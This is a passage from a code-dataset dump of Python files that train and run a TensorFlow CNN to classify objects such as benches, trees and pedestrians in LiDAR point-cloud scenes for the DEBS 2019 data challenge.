time_taken))\n \n acc, prec, reca, acc_dict = metrics(actual, prediction)\n \n print(\" Accuracy = {} \\n Precision = {} \\n Recall = {} \\n Dict = {}\".format(acc/total_scenes, prec/total_scenes, reca/total_scenes, acc_dict))\n", "id": "2772257", "language": "Python", "matching_score": 4.198227882385254, "max_stars_count": 0, "path": "src/ssh-kd/test.py" }, { "content": "import tensorflow as tf\n\nfrom cnn2d import ClassifyWith2dCnn\nfrom segmentation import convert_pred_to_dict\nfrom data import read_file\n\n# create the model and restore the weights\ndef load_graph(path_to_model=\"../models/two_d_cnn.ckpt\"):\n\n # Object names\n object_names = {\n 0: \"Atm\",\n 1: \"Bench\",\n 2: \"BigSassafras\",\n 3: \"BmwX5Simple\",\n 4: \"ClothRecyclingContainer\",\n 5: \"Cypress\",\n 6: \"DrinkingFountain\",\n 7: \"ElectricalCabinet\",\n 8: \"EmergencyPhone\",\n 9: \"FireHydrant\",\n 10: \"GlassRecyclingContainer\",\n 11: \"IceFreezerContainer\",\n 12: \"Mailbox\",\n 13: \"MetallicTrash\",\n 14: \"MotorbikeSimple\",\n 15: \"Oak\",\n 16: \"OldBench\",\n 17: \"Pedestrian\",\n 18: \"PhoneBooth\",\n 19: \"PublicBin\",\n 20: \"Sassafras\",\n 21: \"ScooterSimple\",\n 22: \"set1\",\n 23: \"ToyotaPriusSimple\",\n 24: \"Tractor\",\n 25: \"TrashBin\",\n 26: \"TrashContainer\",\n 27: \"UndergroundContainer\",\n 28: \"WorkTrashContainer\",\n }\n\n # variable\n img_length = 10\n img_height = 7\n\n # Creates the graph\n cnn2d = ClassifyWith2dCnn()\n cnn2d.sample_structure()\n\n # Create the saver object, start the session and restore the weights\n saver = tf.train.Saver()\n cnn2d.session = tf.Session()\n session = cnn2d.session\n session.run(tf.global_variables_initializer())\n saver.restore(session, path_to_model)\n y_pred_cls = cnn2d.y_pred_cls_\n x = cnn2d.x\n\n return session, object_names, img_length, img_height, y_pred_cls, x\n\n# Remove the outliers, segment the data, predict the output and return json\ndef return_prediction(data_frame, session, object_names, img_length, img_height, y_pred_cls, x):\n return convert_pred_to_dict(data_frame,session, object_names, img_length, img_height, y_pred_cls, x)\n\ndef test():\n # Creating the session\n session, object_names, img_length, img_height, y_pred_cls, x = load_graph()\n\n # Folder names\n folder_path1 = \"/home/samba693/DataChallenge/debs2019_dataset2\"\n file_path1 = \"{}/in.csv\".format(folder_path1)\n \n # Read in the test data\n data_frames = read_file(file_path1)\n \n for reconstructed_scene in data_frames:\n result = return_prediction(\n reconstructed_scene,\n session,\n object_names, \n img_length, \n img_height,\n y_pred_cls,\n x)\n print(result)\n\nif __name__ == \"__main__\":\n test()", "id": "11870533", "language": "Python", "matching_score": 8.546366691589355, "max_stars_count": 0, "path": "src/starter-code/test_2d.py" }, { "content": "import tensorflow as tf\nfrom .model import ClassifyWith2dCnn\nfrom .pred import convert_pred_to_dict\n\n\n# object names\ndef object_names_func():\n # Object names\n object_names = {\n 0: \"Atm\",\n 1: \"Bench\",\n 2: \"BigSassafras\",\n 3: \"BmwX5Simple\",\n 4: \"ClothRecyclingContainer\",\n 5: \"Cypress\",\n 6: \"DrinkingFountain\",\n 7: \"ElectricalCabinet\",\n 8: \"EmergencyPhone\",\n 9: \"FireHydrant\",\n 10: \"GlassRecyclingContainer\",\n 11: \"IceFreezerContainer\",\n 12: \"Mailbox\",\n 13: \"MetallicTrash\",\n 14: \"MotorbikeSimple\",\n 15: \"Oak\",\n 16: \"OldBench\",\n 17: \"Pedestrian\",\n 18: \"PhoneBooth\",\n 19: \"PublicBin\",\n 20: \"Sassafras\",\n 21: \"ScooterSimple\",\n 22: \"set1\",\n 23: \"ToyotaPriusSimple\",\n 24: \"Tractor\",\n 25: \"TrashBin\",\n 26: \"TrashContainer\",\n 27: \"UndergroundContainer\",\n 28: \"WorkTrashContainer\",\n }\n\n return object_names\n\n\n# create the model and restore the weights\ndef load_graph(layers=True, path_to_model=\"model/two_d_cnn.ckpt\"):\n # variable\n img_length = 10\n img_height = 7\n\n # Creates the graph\n cnn2d = ClassifyWith2dCnn()\n cnn2d.sample_structure()\n\n # Create the saver object, start the session and restore the weights\n saver = tf.train.Saver()\n cnn2d.session = tf.Session()\n session = cnn2d.session\n session.run(tf.global_variables_initializer())\n saver.restore(session, path_to_model)\n y_pred_cls = cnn2d.y_pred_cls_\n x = cnn2d.x\n weights1 = cnn2d.weights1\n weights2 = cnn2d.weights2\n conv1 = cnn2d.conv1\n conv2 = cnn2d.conv2\n\n if layers:\n return session, img_length, img_height, y_pred_cls, x, weights1, weights2, conv1, conv2\n else:\n return session, img_length, img_height, y_pred_cls, x\n\n\n# Remove the outliers, segment the data, predict the output and return json\ndef return_prediction(\n data_frame, session, object_names, img_length, img_height, y_pred_cls, x, proj=False, proj_type=None, segment_type = False\n):\n return convert_pred_to_dict(\n data_frame, session, object_names, img_length, img_height, y_pred_cls, x, proj, proj_type, segment_type\n )\n", "id": "11024423", "language": "Python", "matching_score": 3.4892477989196777, "max_stars_count": 0, "path": "src/ssh-kd/plugin/load_model.py" }, { "content": "import tensorflow as tf\nimport matplotlib.pyplot as plt\n\nfrom cnn2d import ClassifyWith2dCnn\nfrom data import train_test_split, encode_output, flat_input, optimize, print_test_accuracy\n\n# saving the model\ndef save_model(session, path_to_model):\n \n # Saving the model\n saver = tf.train.Saver()\n saver.save(session,path_to_model)\n\n# prepare the data fro train and test\ndef train_test(list_of_objects, object_names, target):\n input_train = []\n input_test = []\n output_train = []\n output_test = []\n\n for i in list_of_objects:\n # Calling the function\n a,b,c,d = train_test_split(i, object_names, target)\n\n # adding them to the exsisting lists\n input_train += a\n input_test += b\n output_train += c\n output_test += d\n\n return input_train, input_test, output_train, output_test\n\ndef train():\n # objects\n object_names = {0: 'Atm', 1: 'Bench', 2: 'BigSassafras', 3: 'BmwX5Simple', \\\n 4: 'ClothRecyclingContainer', 5: 'Cypress', 6: 'DrinkingFountain',\\\n 7: 'ElectricalCabinet', 8: 'EmergencyPhone', 9: 'FireHydrant',\\\n 10: 'GlassRecyclingContainer', 11: 'IceFreezerContainer', 12: 'Mailbox',\\\n 13: 'MetallicTrash', 14: 'MotorbikeSimple', 15: 'Oak', 16: 'OldBench',\\\n 17: 'Pedestrian', 18: 'PhoneBooth', 19: 'PublicBin', 20: 'Sassafras',\\\n 21: 'ScooterSimple', 22: 'set1', 23: 'ToyotaPriusSimple', 24: 'Tractor',\\\n 25: 'TrashBin', 26: 'TrashContainer', 27: 'UndergroundContainer',\\\n 28: 'WorkTrashContainer'}\n \n # target\n target = \"../data\"\n\n # list of individual objects\n list_of_object_choice = list(range(29))\n list_of_object_choice.remove(22)\n\n # Prepare the data\n input_train, input_test, output_train, output_test = train_test(list_of_object_choice, object_names, target)\n\n # Encoding and flattening the training data\n train_out_encode, encoder, encoder1 = encode_output(output_train)\n train_input_encode = flat_input(input_train)\n\n # Encoding and Flattening the test data\n test_out_encode, encoder2, encoder3 = encode_output(output_test)\n test_input_encode = flat_input(input_test)\n\n # create the tensorflow graph\n cnn2d = ClassifyWith2dCnn()\n cnn2d.sample_structure()\n cnn2d.session = tf.Session()\n session = cnn2d.session\n x = cnn2d.x\n y_true = cnn2d.y_true\n y_pred_cls = cnn2d.y_pred_cls_\n optimizer = cnn2d.optimizer\n accuracy = cnn2d.accuracy\n cost = cnn2d.cost\n\n # train the data\n session.run(tf.global_variables_initializer())\n train_batch_size = 32\n\n train_acc, val_acc, train_cost, val_cost = optimize(40, train_batch_size, train_input_encode, train_out_encode, session,x, y_true, optimizer, accuracy, cost)\n\n fig = plt.figure()\n plt.plot(train_acc)\n plt.plot(val_acc)\n fig.savefig(\"../models/accuracy.png\")\n plt.clf()\n\n fig = plt.figure()\n plt.plot(train_cost)\n plt.plot(val_cost)\n fig.savefig(\"../models/loss.png\")\n plt.clf()\n\n # saving the model\n path_to_model = \"../models/two_d_cnn.ckpt\"\n save_model(session, path_to_model)\n\n # plot the test accuracy in between\n print_test_accuracy(test_input_encode, test_out_encode, session, y_true, y_pred_cls, x)\n\n # Closing the tensorflow session\n session.close()\n\n\nif __name__ == \"__main__\":\n train()\n ", "id": "4004692", "language": "Python", "matching_score": 6.561351776123047, "max_stars_count": 0, "path": "src/starter-code/train_2d.py" }, { "content": "#!/usr/bin/env python3\n\nimport tensorflow as tf\nimport matplotlib.pyplot as plt\n\nfrom plugin.model import ClassifyWith2dCnn\nfrom utils.data_prep import train_test_split\nfrom plugin.encode import flat_input, encode_output\nfrom plugin.load_model import object_names_func\nfrom utils.optimize import optimize, print_test_accuracy\n\n# saving the model\ndef save_model(session, path_to_model):\n\n # Saving the model\n saver = tf.train.Saver()\n saver.save(session, path_to_model)\n\n\n# prepare the data fro train and test\ndef train_test(list_of_objects, object_names, target):\n input_train = []\n input_test = []\n output_train = []\n output_test = []\n\n for i in list_of_objects:\n # Calling the function\n a, b, c, d = train_test_split(i, object_names, target)\n\n # adding them to the exsisting lists\n input_train += a\n input_test += b\n output_train += c\n output_test += d\n\n return input_train, input_test, output_train, output_test\n\ndef load_data(target=\"data\"):\n\n # list of individual objects\n list_of_object_choice = list(range(29))\n list_of_object_choice.remove(22)\n object_names = object_names_func()\n \n # Prepare the data\n input_train, input_test, output_train, output_test = train_test(\n list_of_object_choice, object_names, target\n )\n\n # Encoding and flattening the training data\n train_out_encode, encoder, encoder1 = encode_output(output_train)\n train_input_encode = flat_input(input_train)\n\n # Encoding and Flattening the test data\n test_out_encode, encoder2, encoder3 = encode_output(output_test)\n test_input_encode = flat_input(input_test)\n\n return train_input_encode, train_out_encode, test_input_encode, test_out_encode\n\ndef train():\n\n train_input_encode, train_out_encode, test_input_encode, test_out_encode = load_data()\n\n # create the tensorflow graph\n cnn2d = ClassifyWith2dCnn()\n cnn2d.sample_structure()\n cnn2d.session = tf.Session()\n session = cnn2d.session\n x = cnn2d.x\n y_true = cnn2d.y_true\n y_pred_cls = cnn2d.y_pred_cls_\n optimizer = cnn2d.optimizer\n accuracy = cnn2d.accuracy\n cost = cnn2d.cost\n prob = cnn2d.prob\n\n # train the data\n session.run(tf.global_variables_initializer())\n train_batch_size = 32\n\n train_acc, val_acc, train_cost, val_cost = optimize(\n 10,\n train_batch_size,\n train_input_encode,\n train_out_encode,\n session,\n x,\n y_true,\n optimizer,\n accuracy,\n cost,\n prob\n )\n\n # fig = plt.figure()\n # plt.plot(train_acc)\n # plt.plot(val_acc)\n # fig.savefig(\"model/accuracy.png\")\n # plt.clf()\n\n # fig = plt.figure()\n # plt.plot(train_cost)\n # plt.plot(val_cost)\n # fig.savefig(\"model/loss.png\")\n # plt.clf()\n\n # saving the model\n path_to_model = \"model/two_d_cnn_proj.ckpt\"\n save_model(session, path_to_model)\n\n # plot the test accuracy in between\n print_test_accuracy(\n test_input_encode, test_out_encode, session, y_true, y_pred_cls, x\n )\n\n # Closing the tensorflow session\n session.close()\n\n\nif __name__ == \"__main__\":\n train()\n", "id": "7450283", "language": "Python", "matching_score": 3.9895942211151123, "max_stars_count": 0, "path": "src/ssh-kd/train.py" }, { "content": "import math\nimport pandas as pd\nimport numpy as np\nfrom datetime import datetime\n\n# Library for generating the random numbers\nimport random\nfrom operator import itemgetter\nfrom functools import reduce\n\nimport tensorflow as tf\nfrom sklearn.preprocessing import LabelEncoder, OneHotEncoder\nfrom grouping import remove_outliers, helper_object_points, max_min\n\n# Fixed Outliers\ndef get_outliers(file_path):\n # Take the outliers\n outliers , others = helper_outliers(\"{}/Atm/in.csv\".format(file_path))\n\n # get the min and max values for each outlier range \n for i in outliers:\n i['radiusSquare'] = i['X']**2+i['Y']**2+i['Z']**2\n i['radius'] = np.sqrt(i['radiusSquare']).round(1)\n i = i[i['radius']>0]\n i['max'] = i.groupby(['lz'])['radius'].transform('max')\n i['min'] = i.groupby(['lz'])['radius'].transform('min')\n i = i[['lz','max','min']]\n i.drop_duplicates(subset=['lz','max','min'],inplace=True)\n \n # Save the data frame\n i.to_pickle(\"../outliers.pkl\")\n\n\n# Remove the outliers\ndef helper_outliers(file_path):\n # return the list of dataframes\n dataframe_lists = []\n outliers = []\n # Creating the dataframe and selecting the required columns\n for i in range(1):\n temp_out = pd.DataFrame()\n df = pd.read_csv(file_path, usecols=[1,2,3,4], skiprows=i*72000, nrows = 72000, names=[\"lz\",\"X\",\"Y\",\"Z\"])\n df['radiusSquare'] = df['X']*df['X']+df['Y']*df['Y']+df['Z']*df['Z']\n df['radius'] = np.sqrt(df['radiusSquare']).round(1)\n df['freq'] = df.groupby(['lz','radius'])['radius'].transform('count')\n for j in range(64):\n maxfreq = df[(df['lz']==j) & (df['radius']!=0)]['freq'].max()\n while maxfreq>75:\n temp_out = temp_out.append(df.loc[(df['lz']==j) & (df['freq']==maxfreq)],ignore_index=True)\n df.drop(df[(df['lz']==j) & (df['freq']==maxfreq)].index, inplace=True)\n maxfreq = df[(df['lz']==j) & (df['radius']!=0)]['freq'].max()\n temp_out = temp_out.append(df.loc[(df['lz']==j) & (df['radius']==0)],ignore_index=True)\n df.drop(df[(df['lz']==j) & (df['radius']==0)].index, inplace=True)\n outliers.append(temp_out.iloc[:,0:4])\n dataframe_lists.append(df.iloc[:,0:4])\n\n return outliers, dataframe_lists\n\ndef read_file(file_path, num_of_scenes=50):\n \"\"\"Reads in the 50 scenes in to the memory and then slices the data frame to achieve optimization\n Takes 1.72 sec to read the 50 scenes file into memory\n Slicing each scene takes 0.32 milli seconds on average\"\"\"\n giant_df = pd.read_csv(file_path, usecols=[1, 2, 3, 4], names=[\"laser_id\", \"X\", \"Y\", \"Z\"])\n num_of_scenes = len(giant_df) / 72000\n dataframes = []\n\n for i in range(int(num_of_scenes)):\n start = i * 72000\n end = start + 72000\n dataframes.append(giant_df.iloc[start:end, :])\n\n return dataframes\n\n\ndef input_nn(object_points, x_range, y_range, grid_size, img_length, img_height, view):\n \"\"\"Function to create the input to the cnn function, need to see the time and optimize it later\"\"\"\n # Need to check the time\n # start_time = datetime.now()\n\n # create an empty numpy array for the counts\n n_rows = int(img_height / grid_size)\n n_cols = int(img_length / grid_size)\n\n # input_list = np.zeros((n_rows, n_cols))\n\n # Populate the input array\n gridx = np.linspace(x_range[0], x_range[1], n_cols + 1)\n gridy = np.linspace(y_range[0], y_range[1], n_rows + 1)\n\n # according to the view\n if view == 2:\n x = np.array(object_points[\"X\"])\n elif view == 3:\n x = np.array(object_points[\"Z\"])\n\n y = np.array(object_points[\"Y\"])\n\n grid, _, _ = np.histogram2d(x, y, bins=[gridx, gridy])\n\n # print(\"Time taken = {}\".format(datetime.now()-start_time))\n\n # Returning the input\n return np.rot90(grid)\n\n\ndef prepare_and_save_input(\n object_choice,\n object_names,\n folder_path,\n num_linear_transformations,\n num_of_scenes,\n path_to_pkl,\n grid_size,\n num_of_clusters,\n img_length,\n img_height,\n save_here,\n list_of_angles=[30, 60, 90, 120, 150],\n):\n \"\"\"\n Function for preparing the input for the desired object with linear transformations\n and two different views.\n Extend to get the training data from different angles\n \"\"\"\n # Creating the path for the object\n object_path = \"{}/{}/in.csv\".format(folder_path, object_names[object_choice])\n\n # read in the object of choice\n dataframes = read_file(object_path, num_of_scenes)\n\n # remove the outliers\n no_outliers = remove_outliers(dataframes, num_of_scenes, path_to_pkl)\n\n # get the object points\n new_objects = []\n\n for i in no_outliers:\n new_objects.append(helper_object_points(i, num_of_clusters))\n\n # scale the points\n x_max_x, x_min_x, y_max_x, y_min_x = max_min(new_objects, img_length, img_height, 2)\n x_max_z, x_min_z, y_max_z, y_min_z = max_min(new_objects, img_length, img_height, 3)\n\n # get the input for each scene with 4 different linear transformations\n n = len(new_objects)\n\n input_data = []\n output = []\n\n for i in range(n):\n\n # get the objects with various number of linear transformations\n for j in range(num_linear_transformations):\n # creating the input in the XY view\n input_data.append(\n input_nn(\n new_objects[i],\n [x_min_x[i], x_max_x[i]],\n [y_min_x[i], y_max_x[i]],\n grid_size,\n img_length,\n img_height,\n 2,\n )\n )\n output.append(object_names[object_choice])\n\n # Creating the input for the ZY view\n input_data.append(\n input_nn(\n new_objects[i],\n [x_min_z[i], x_max_z[i]],\n [y_min_z[i], y_max_z[i]],\n grid_size,\n img_length,\n img_height,\n 3,\n )\n )\n output.append(object_names[object_choice])\n\n # Save the objects\n np.save(\"{}/{}_input.npy\".format(save_here, object_names[object_choice]), input_data)\n np.save(\"{}/{}_output.npy\".format(save_here, object_names[object_choice]), output)\n\n\ndef train_test_split(object_id, object_names, target, train_percent=0.7):\n \"\"\"\n Function that creates the train and test split\n \"\"\"\n # Input file and output file names\n file_name = \"{}/{}_input.npy\".format(target,object_names[object_id])\n output_file = \"{}/{}_output.npy\".format(target,object_names[object_id])\n\n # loading the saved npy format data\n object_input = np.load(file_name)\n object_output = np.load(output_file)\n\n # Creating the random shuffle data\n c = list(range(len(object_input)))\n\n # use random.Random(4) for fixing the seed\n random.shuffle(c)\n\n num_of_train = int(round(train_percent * len(c)))\n train = c[:num_of_train]\n test = c[num_of_train:]\n\n # Collecting the items of this index into\n train_input = list(itemgetter(*train)(object_input))\n test_input = list(itemgetter(*test)(object_input))\n train_output = list(itemgetter(*train)(object_output))\n test_output = list(itemgetter(*test)(object_output))\n\n # Adding them to the previous lists\n return train_input, test_input, train_output, test_output\n\n\ndef flat_input(input_arr):\n \"\"\"\n Converting the input arr into flat array and return the flattened input array for training\n \"\"\"\n # Reshape each numpy array in the list\n to_return = []\n for i in input_arr:\n to_return.append(i.flatten())\n return np.array(to_return)\n\n\ndef encode_output(output_arr):\n \"\"\"\n Encodes the output arr to one hot encoding and return the encoders and encoded values\n \"\"\"\n # Transforming the output to one hot encoding, buy using label encoder at first and then one hot encoder\n encoder = LabelEncoder()\n encoded_out_test = encoder.fit_transform(output_arr)\n\n # using one hot encoder\n encoder1 = OneHotEncoder()\n encoded_out_test = encoder1.fit_transform(encoded_out_test.reshape(-1, 1)).toarray()\n\n # returning the encoders and encoded values\n return encoded_out_test, encoder, encoder1\n\ndef train_validation(input_train, output_train, batch_size):\n # zipping the input and output\n zipped_data = list(zip(input_train, output_train))\n\n # Shuffle them\n random.shuffle(zipped_data)\n\n # select the elements equal to batch_size\n zipped_data1 = zipped_data[:batch_size]\n zipped_data2 = zipped_data[batch_size:]\n # unzip the elements\n to_return = list(zip(*zipped_data1))\n x_batch = np.array(to_return[0], dtype=np.float32)\n y_batch = np.array(to_return[1], dtype=np.float32)\n\n to_return = list(zip(*zipped_data2))\n val_x = np.array(to_return[0], dtype=np.float32)\n val_y = np.array(to_return[1], dtype=np.float32)\n\n # return the elements\n return x_batch, y_batch, val_x, val_y\n\ndef optimize(num_iterations, train_batch_size, input_train, output_train, session, x, y_true, optimizer, accuracy, cost):\n\n # Start time\n start_time = datetime.now()\n\n # input and validation\n len_validation_from = len(input_train)-int(len(input_train)/7)\n \n input_train, output_train, val_input, val_output = train_validation(input_train, output_train, len_validation_from)\n \n # Accuracy and cost lists\n train_loss = []\n val_loss= []\n\n train_accu = []\n val_accu = []\n\n\n num_of_batches = math.ceil(len(input_train)/train_batch_size)\n\n # Converting the input into tensors\n x_batch1 = tf.convert_to_tensor(input_train)\n y_true_batch1 = tf.convert_to_tensor(output_train)\n\n # Creating the input_queue\n input_queue = tf.train.slice_input_producer([x_batch1, y_true_batch1])\n\n # Slicing the image\n sliced_x = input_queue[0]\n sliced_y = input_queue[1]\n\n # Batching the queue \n x_batch2, y_true_batch2 = tf.train.batch([sliced_x, sliced_y], batch_size = train_batch_size, allow_smaller_final_batch=True)\n\n # Coordinating te multi threaded function\n coord = tf.train.Coordinator()\n threads = tf.train.start_queue_runners(coord=coord, sess = session)\n\n \n for i in range(num_of_batches*num_iterations):\n\n x_batch, y_true_batch = session.run([x_batch2, y_true_batch2])\n\n # Put the batch in the dict with the proper names\n feed_dict_train = {x: x_batch, y_true: y_true_batch}\n\n # Run the optimizer using this batch of the training data\n session.run(optimizer, feed_dict=feed_dict_train)\n\n # printing status for every 10 iterations\n if i % num_of_batches == 0:\n\n count = 0\n val_acc = 0\n val_cost = 0\n \n for j in range(int(len(val_input)/100)):\n val_acc = val_acc+session.run(accuracy, feed_dict={x: np.array(val_input[j*100:(j+1)*100], dtype=np.float32), y_true: np.array(val_output[j*100:(j+1)*100], dtype=np.float32)})\n val_cost = val_cost+session.run(cost, feed_dict={x: np.array(val_input[j*100:(j+1)*100], dtype=np.float32), y_true: np.array(val_output[j*100:(j+1)*100], dtype=np.float32)})\n count+=1\n \n val_acc = val_acc/count\n val_cost = val_cost/count\n\n val_accu.appen(val_acc)\n val_loss.append(val_cost)\n\n # Calculating the train accuracy\n count = 0\n train_acc = 0\n train_cost = 0\n \n for j in range(int(len(input_train)/100)):\n train_acc = train_acc+session.run(accuracy, feed_dict={x: np.array(input_train[j*100:(j+1)*100], dtype=np.float32), y_true: np.array(output_train[j*100:(j+1)*100], dtype=np.float32)})\n train_cost = train_cost+session.run(cost, feed_dict={x: np.array(input_train[j*100:(j+1)*100], dtype=np.float32), y_true: np.array(output_train[j*100:(j+1)*100], dtype=np.float32)})\n count+=1\n \n train_acc = train_acc/count\n train_cost = train_cost/count\n\n train_accu.append(train_acc)\n train_loss.append(train_cost)\n \n print(\"---------\")\n print(\n \"Optimization Epochs: {0:>6}, Training Accuracy: {1:6.1%}, validation Accuracy: {2:6.1%}, training cost: {3}, val_cost: {4}\".format(\n (i/num_of_batches) + 1, train_acc, val_acc, train_cost, val_cost\n )\n )\n \n \n coord.request_stop()\n coord.join(threads) \n \n \n\n # Ending time\n end_time = datetime.now()\n\n print(\"Time usage: {}\".format(end_time - start_time))\n return train_accu, val_accu, train_loss, val_loss\n\ndef print_test_accuracy(test_input, test_output, session, y_true, y_pred_cls, x, show_confusion_matrix=False):\n\n # number of images in the test -set\n num_test = len(test_input)\n\n # creating an empty array\n cls_pred = np.zeros(shape=num_test, dtype=np.int)\n\n # Starting index\n i = 0\n \n test_batch_size = 64\n\n while i < num_test:\n # J is the ending index\n j = min(i + test_batch_size, num_test)\n\n # get the images\n images = test_input[i:j]\n\n # Get the assiciated labels\n labels = test_output[i:j]\n\n # Feed the dict with the images and labels\n feed_dict = {x: images, y_true: labels}\n\n # Calculate the predicated class using TensorFlow\n cls_pred[i:j] = session.run(y_pred_cls, feed_dict=feed_dict)\n\n i = j\n\n cls_true = [np.argmax(i) for i in test_output]\n cls_true = np.array(cls_true)\n\n correct = cls_true == cls_pred\n correct_sum = correct.sum()\n\n acc = float(correct_sum) / num_test\n\n msg = \"Accuracy on Test-Set: {0:.1%} ({1} / {2})\"\n\n print(msg.format(acc, correct_sum, num_test))\n\n # Plot the confusion matrix, if desired.\n if show_confusion_matrix:\n print(\"Confusion Matrix:\")\n # Visualization().plot_confusion_matrix(cls_pred, cls_true)\n\ndef data_prep(save_here):\n # list of individual objects\n list_of_object_choice = list(range(29))\n list_of_object_choice.remove(22)\n\n # objects\n object_names = {0: 'Atm', 1: 'Bench', 2: 'BigSassafras', 3: 'BmwX5Simple', \\\n 4: 'ClothRecyclingContainer', 5: 'Cypress', 6: 'DrinkingFountain',\\\n 7: 'ElectricalCabinet', 8: 'EmergencyPhone', 9: 'FireHydrant',\\\n 10: 'GlassRecyclingContainer', 11: 'IceFreezerContainer', 12: 'Mailbox',\\\n 13: 'MetallicTrash', 14: 'MotorbikeSimple', 15: 'Oak', 16: 'OldBench',\\\n 17: 'Pedestrian', 18: 'PhoneBooth', 19: 'PublicBin', 20: 'Sassafras',\\\n 21: 'ScooterSimple', 22: 'set1', 23: 'ToyotaPriusSimple', 24: 'Tractor',\\\n 25: 'TrashBin', 26: 'TrashContainer', 27: 'UndergroundContainer',\\\n 28: 'WorkTrashContainer'}\n\n \n # Required variables\n num_linear_transformations = 4\n num_of_scenes = 50\n path_to_pkl = \"../outliers.pkl\"\n grid_size = 0.1\n num_clusters = 4\n img_length = 10\n img_height = 7\n \n # Folder names\n folder_path = \"/home/samba693/DataChallenge/debs2019_initial_dataset\"\n\n # Create the outliers\n get_outliers(folder_path)\n\n # Preparing the data\n for i in list_of_object_choice:\n prepare_and_save_input(i, object_names, folder_path, num_linear_transformations,\\\n num_of_scenes, path_to_pkl, grid_size,\\\n num_clusters, img_length, img_height, save_here)\n\nif __name__ == \"__main__\":\n save_here = \"../data/\"\n data_prep(save_here)\n ", "id": "7821565", "language": "Python", "matching_score": 9.782027244567871, "max_stars_count": 0, "path": "src/starter-code/data.py" }, { "content": "import math\nimport pandas as pd\nimport numpy as np\nimport pickle\nfrom datetime import datetime\n\n\n# Library for generating the random numbers\nimport random\nfrom operator import itemgetter\nimport sys, os\n\nsys.path.insert(0, os.path.abspath(\"..\"))\nfrom plugin.seg import remove_outliers, helper_object_points, max_min\nfrom plugin.encode import input_nn\nfrom plugin.load_model import object_names_func\nfrom plugin.projections import prespective_project\n\n# Fixed Outliers\ndef get_outliers(file_path):\n # Take the outliers\n outliers, others = helper_outliers(\"{}/Atm/in.csv\".format(file_path))\n\n # get the min and max values for each outlier range\n for i in outliers:\n i[\"radiusSquare\"] = i[\"X\"] ** 2 + i[\"Y\"] ** 2 + i[\"Z\"] ** 2\n i[\"radius\"] = np.sqrt(i[\"radiusSquare\"]).round(1)\n i = i[i[\"radius\"] > 0]\n i[\"max\"] = i.groupby([\"lz\"])[\"radius\"].transform(\"max\")\n i[\"min\"] = i.groupby([\"lz\"])[\"radius\"].transform(\"min\")\n i = i[[\"lz\", \"max\", \"min\"]]\n i.drop_duplicates(subset=[\"lz\", \"max\", \"min\"], inplace=True)\n\n # Save the values\n max_rad = []\n min_rad = []\n for j in range(64):\n max_rad.append(i[i[\"lz\"] == j][\"max\"].tolist()[0])\n min_rad.append(i[i[\"lz\"] == j][\"min\"].tolist()[0])\n total = (np.array(max_rad*1125),np.array(min_rad*1125))\n\n out_file = open(\"../data/outliers.pkl\", 'wb')\n pickle.dump(total,out_file)\n out_file.close()\n\n\n# Remove the outliers\ndef helper_outliers(file_path):\n # return the list of dataframes\n dataframe_lists = []\n outliers = []\n # Creating the dataframe and selecting the required columns\n for i in range(1):\n temp_out = pd.DataFrame()\n df = pd.read_csv(\n file_path,\n usecols=[1, 2, 3, 4],\n skiprows=i * 72000,\n nrows=72000,\n names=[\"lz\", \"X\", \"Y\", \"Z\"],\n )\n df[\"radiusSquare\"] = df[\"X\"] * df[\"X\"] + df[\"Y\"] * df[\"Y\"] + df[\"Z\"] * df[\"Z\"]\n df[\"radius\"] = np.sqrt(df[\"radiusSquare\"]).round(1)\n df[\"freq\"] = df.groupby([\"lz\", \"radius\"])[\"radius\"].transform(\"count\")\n for j in range(64):\n maxfreq = df[(df[\"lz\"] == j) & (df[\"radius\"] != 0)][\"freq\"].max()\n while maxfreq > 75:\n temp_out = temp_out.append(\n df.loc[(df[\"lz\"] == j) & (df[\"freq\"] == maxfreq)], ignore_index=True\n )\n df.drop(\n df[(df[\"lz\"] == j) & (df[\"freq\"] == maxfreq)].index, inplace=True\n )\n maxfreq = df[(df[\"lz\"] == j) & (df[\"radius\"] != 0)][\"freq\"].max()\n temp_out = temp_out.append(\n df.loc[(df[\"lz\"] == j) & (df[\"radius\"] == 0)], ignore_index=True\n )\n df.drop(df[(df[\"lz\"] == j) & (df[\"radius\"] == 0)].index, inplace=True)\n outliers.append(temp_out.iloc[:, 0:4])\n dataframe_lists.append(df.iloc[:, 0:4])\n\n return outliers, dataframe_lists\n\n\ndef read_file(file_path, num_of_scenes=50):\n \"\"\"Reads in the 50 scenes in to the memory and then slices the data frame to achieve optimization\n Takes 1.72 sec to read the 50 scenes file into memory\n Slicing each scene takes 0.32 milli seconds on average\"\"\"\n giant_df = pd.read_csv(\n file_path, usecols=[1, 2, 3, 4], names=[\"laser_id\", \"X\", \"Y\", \"Z\"]\n )\n num_of_scenes = len(giant_df) / 72000\n dataframes = []\n\n for i in range(int(num_of_scenes)):\n start = i * 72000\n end = start + 72000\n dataframes.append(giant_df.iloc[start:end, :])\n\n return dataframes\n\n\ndef prepare_and_save_input(\n object_choice,\n object_names,\n folder_path,\n num_linear_transformations,\n num_of_scenes,\n path_to_pkl,\n grid_size,\n num_of_clusters,\n img_length,\n img_height,\n save_here,\n proj = False,\n proj_type = None,\n list_of_angles=[30, 60, 90, 120, 150],\n):\n \"\"\"\n Function for preparing the input for the desired object with linear transformations\n and two different views.\n Extend to get the training data from different angles\n \"\"\"\n # Creating the path for the object\n object_path = \"{}/{}/in.csv\".format(folder_path, object_names[object_choice])\n\n # read in the object of choice\n dataframes = read_file(object_path, num_of_scenes)\n\n # remove the outliers\n no_outliers = remove_outliers(dataframes, num_of_scenes, path_to_pkl)\n\n # get the object points\n new_objects = []\n\n for i in no_outliers:\n new_objects.append(helper_object_points(i, num_of_clusters))\n \n if proj and proj_type == 'perspective':\n new_pres_objects = []\n grid_size = 0.1\n for i in new_objects:\n x,y,z = np.array(i['X']),np.array(i['Y']), np.array(i['Z'])\n new_pres_objects.append(prespective_project(x,y,z, 4, 2))\n new_pres_objects.append(prespective_project(x,y,z, 4, 3))\n # scale the points\n x_max_x, x_min_x, y_max_x, y_min_x = max_min(new_pres_objects, img_length, img_height, 2)\n\n # get the input for each scene with 4 different linear transformations\n n = len(new_pres_objects)\n\n input_data = []\n output = []\n\n for i in range(n):\n\n # get the objects with various number of linear transformations\n for j in range(num_linear_transformations):\n # creating the input in the XY view\n input_data.append(\n input_nn(\n new_pres_objects[i],\n [x_min_x[j], x_max_x[j]],\n [y_min_x[j], y_max_x[j]],\n grid_size,\n img_length,\n img_height,\n 2,\n )\n )\n output.append(object_names[object_choice])\n \n else:\n # scale the points\n x_max_x, x_min_x, y_max_x, y_min_x = max_min(new_objects, img_length, img_height, 2)\n x_max_z, x_min_z, y_max_z, y_min_z = 